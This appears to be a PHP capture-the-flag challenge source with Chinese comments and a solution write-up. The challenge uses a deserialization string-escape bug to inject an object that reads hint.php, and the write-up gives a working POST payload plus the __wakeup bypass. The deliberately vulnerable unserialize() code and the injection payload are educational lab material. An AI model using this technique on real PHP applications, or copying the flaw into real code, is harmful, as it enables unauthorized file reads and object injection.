<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){//读取函数,我们要读取的是hint.php
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() { //这里只要数量的地方比标准大就过去了,这里执行反序列化时候调用
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);//当读取到参数1替换成参数2
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);//当读取到参数二替换成参数1,因为这里如果开始就读取了write 的下面还会进行替换就回去了,所以我们就直接读二,这里进行字符串吞并
return $r;
}
//user类触发的payload为:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";},这里其实就是说我们理论上只能触发user类,但是我们读取的反序列化的长度是可以控制从而吞并不需要的字符串,顺便把结束的符号给吞了,规范化这个的语句就能造成读取后面的序列化数值从而造成注入,我们这里就是通过注入/0/0/0来吞掉
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
O:4:"User":2:{s:8:"username";s:6:"tr1ple|";s:8:"password";s:4:"|1234";}
所以我们就是要把后面的password的属性吞了剩下可以序列化,|裱起来的就是我们要吞掉的,我们不需要这些属性成立我们把它们吞掉之后剩下的是
O:4:"User":2:{s:8:"username";s:3:"111|";s:8:"password";s:41:"|O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
这些之后的属性就能够成立,成立之后我们就是给了evil类成功的属性,就能传递变量读取数值
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化
这个是通过替换之后他相应的标准化字符会少,当然也有变多的